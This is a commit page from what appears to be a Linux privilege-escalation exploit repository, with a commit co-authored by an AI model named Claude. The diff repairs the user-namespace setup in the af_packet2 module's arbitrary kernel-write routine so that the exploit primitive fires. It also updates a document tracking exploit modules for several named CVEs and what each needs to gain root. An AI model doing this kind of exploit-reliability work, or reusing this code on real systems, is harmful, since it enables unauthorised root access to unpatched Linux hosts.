af_packet2: fix uid_map (read uid/gid before unshare) — same bug as cgroup
build / build (clang / debug) (push) Waiting to run
build / build (clang / default) (push) Waiting to run
build / build (gcc / debug) (push) Waiting to run
build / build (gcc / default) (push) Waiting to run
build / sanitizers (ASan + UBSan) (push) Waiting to run
build / clang-tidy (push) Waiting to run
build / drift-check (CISA KEV + Debian tracker) (push) Waiting to run
build / static-build (push) Waiting to run
build / build (clang / debug) (push) Waiting to run
build / build (clang / default) (push) Waiting to run
build / build (gcc / debug) (push) Waiting to run
build / build (gcc / default) (push) Waiting to run
build / sanitizers (ASan + UBSan) (push) Waiting to run
build / clang-tidy (push) Waiting to run
build / drift-check (CISA KEV + Debian tracker) (push) Waiting to run
build / static-build (push) Waiting to run
af_packet2 read getuid()/getgid() AFTER unshare(CLONE_NEWUSER), so it wrote
"0 65534 1" to uid_map/gid_map (65534 = nobody, the initial unmapped id) and
the write was rejected EPERM — the userns-root mapping silently failed and the
CAP_NET_RAW primitive could not fire. Capture the outer uid/gid before unshare.
Audited every userns module for the pattern; only cgroup_release_agent (fixed
in 8c45b2b) and af_packet2 had it. Updated docs/EXPLOITED.md.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_0118iUgHY44hdRtANgyCmu7y
This commit is contained in:
+14
-5
@@ -38,16 +38,25 @@ tamper check).
|
|||||||
tracer, which by then has reparented to init → `EPERM`). Made **honest**
|
tracer, which by then has reparented to init → `EPERM`). Made **honest**
|
||||||
(verifies `euid==0`, otherwise `EXPLOIT_FAIL`); a faithful CVE-2019-13272 port
|
(verifies `euid==0`, otherwise `EXPLOIT_FAIL`); a faithful CVE-2019-13272 port
|
||||||
(Jann Horn / bcoles: `PTRACE_TRACEME` + setuid execve + registered polkit
|
(Jann Horn / bcoles: `PTRACE_TRACEME` + setuid execve + registered polkit
|
||||||
agent) is still required to land root.
|
agent) is still required to land root. (commit `59cc2be`)
|
||||||
|
- **`cgroup_release_agent`** — two real bugs fixed (commit `8c45b2b`): it read
|
||||||
|
`getuid()` **after** `unshare(CLONE_NEWUSER)` (→ `65534`, so `uid_map` write
|
||||||
|
was `"0 65534 1"` → EPERM), and it omitted `CLONE_NEWCGROUP` (→ cgroup-v1
|
||||||
|
mount EPERM). Now the userns+cgroupns+mount setup is correct. It still can't
|
||||||
|
root a **bare** unprivileged user on a stock systemd host: every v1 controller
|
||||||
|
is pre-mounted (its `release_agent` is init-owned → EACCES from the userns)
|
||||||
|
and a fresh named hierarchy is refused. Reachable in a **container** context
|
||||||
|
(CAP_SYS_ADMIN / an ownable cgroup) — matches its "host root from rootless
|
||||||
|
container" framing. The `getuid()`-after-`unshare` bug is a pattern to grep
|
||||||
|
for across the other userns modules.
|
||||||
|
|
||||||
## Needs a faithful PoC port (genuinely vulnerable target, exploit doesn't land)
|
## Needs a faithful PoC port (genuinely vulnerable target, exploit doesn't land)
|
||||||
|
|
||||||
| module | CVE | target tested | what's wrong |
|
| module | CVE | target tested | what's wrong |
|
||||||
|---|---|---|---|
|
|---|---|---|---|
|
||||||
| `ptrace_traceme` | CVE-2019-13272 | Ubuntu 18.04.2 / 4.15.0-50 | placeholder technique; needs the real cred-transfer PoC |
|
| `ptrace_traceme` | CVE-2019-13272 | Ubuntu 18.04.2 / 4.15.0-50 | placeholder technique (now honest); needs the real cred-transfer PoC (polkit agent) — substantial port |
|
||||||
| `overlayfs_setuid` | CVE-2023-0386 | Ubuntu 22.04.0 / 5.15.0-25 | `chown merged carrier: EPERM` — wrong method; needs the FUSE copy-up PoC (xkaneiki) |
|
| `overlayfs_setuid` | CVE-2023-0386 | Ubuntu 22.04.0 / 5.15.0-25 | genuinely vulnerable target; module uses the wrong method (`chown merged carrier: EPERM`). Needs the FUSE copy-up PoC (xkaneiki): a FUSE server exporting a setuid-root lower + overlay copy-up. Substantial port. |
|
||||||
| `sudo_samedit` | CVE-2021-3156 | Ubuntu 18.04.2 + 20.04.0 | honest `EXPLOIT_FAIL`; Baron Samedit is heap/libc-specific, needs a tuned PoC |
|
| `sudo_samedit` | CVE-2021-3156 | Ubuntu 18.04.2 + 20.04.0 | honest `EXPLOIT_FAIL`; Baron Samedit is heap/libc-version-specific, needs a per-target tuned PoC. Hardest. |
|
||||||
| `cgroup_release_agent` | CVE-2022-0492 | Ubuntu 20.04.0 / 5.4.0-26 | honest `EXPLOIT_FAIL`; cgroup-v1/userns release_agent precondition/technique |
|
|
||||||
|
|
||||||
## Inconclusive (detect version-blind vs vendor backport)
|
## Inconclusive (detect version-blind vs vendor backport)
|
||||||
|
|
||||||
|
|||||||
@@ -449,6 +449,12 @@ static int afp2_arb_write(uintptr_t kaddr, const void *buf, size_t len, void *vc
|
|||||||
pid_t p = fork();
|
pid_t p = fork();
|
||||||
if (p < 0) return -1;
|
if (p < 0) return -1;
|
||||||
if (p == 0) {
|
if (p == 0) {
|
||||||
|
/* Capture the OUTER uid/gid BEFORE unshare: after
|
||||||
|
* unshare(CLONE_NEWUSER) getuid()/getgid() return 65534 (nobody),
|
||||||
|
* so a post-unshare map is "0 65534 1" which the kernel rejects
|
||||||
|
* with EPERM and the userns-root mapping silently fails. */
|
||||||
|
unsigned outer_uid = (unsigned)getuid();
|
||||||
|
unsigned outer_gid = (unsigned)getgid();
|
||||||
if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) _exit(2);
|
if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) _exit(2);
|
||||||
int fd;
|
int fd;
|
||||||
fd = open("/proc/self/setgroups", O_WRONLY);
|
fd = open("/proc/self/setgroups", O_WRONLY);
|
||||||
@@ -456,13 +462,13 @@ static int afp2_arb_write(uintptr_t kaddr, const void *buf, size_t len, void *vc
|
|||||||
fd = open("/proc/self/uid_map", O_WRONLY);
|
fd = open("/proc/self/uid_map", O_WRONLY);
|
||||||
if (fd >= 0) {
|
if (fd >= 0) {
|
||||||
char m[64];
|
char m[64];
|
||||||
int n = snprintf(m, sizeof m, "0 %u 1", (unsigned)getuid());
|
int n = snprintf(m, sizeof m, "0 %u 1", outer_uid);
|
||||||
(void)!write(fd, m, n); close(fd);
|
(void)!write(fd, m, n); close(fd);
|
||||||
}
|
}
|
||||||
fd = open("/proc/self/gid_map", O_WRONLY);
|
fd = open("/proc/self/gid_map", O_WRONLY);
|
||||||
if (fd >= 0) {
|
if (fd >= 0) {
|
||||||
char m[64];
|
char m[64];
|
||||||
int n = snprintf(m, sizeof m, "0 %u 1", (unsigned)getgid());
|
int n = snprintf(m, sizeof m, "0 %u 1", outer_gid);
|
||||||
(void)!write(fd, m, n); close(fd);
|
(void)!write(fd, m, n); close(fd);
|
||||||
}
|
}
|
||||||
int rc = af_packet2_primitive_child(c->ictx);
|
int rc = af_packet2_primitive_child(c->ictx);
|
||||||
|
|||||||
Reference in New Issue
Block a user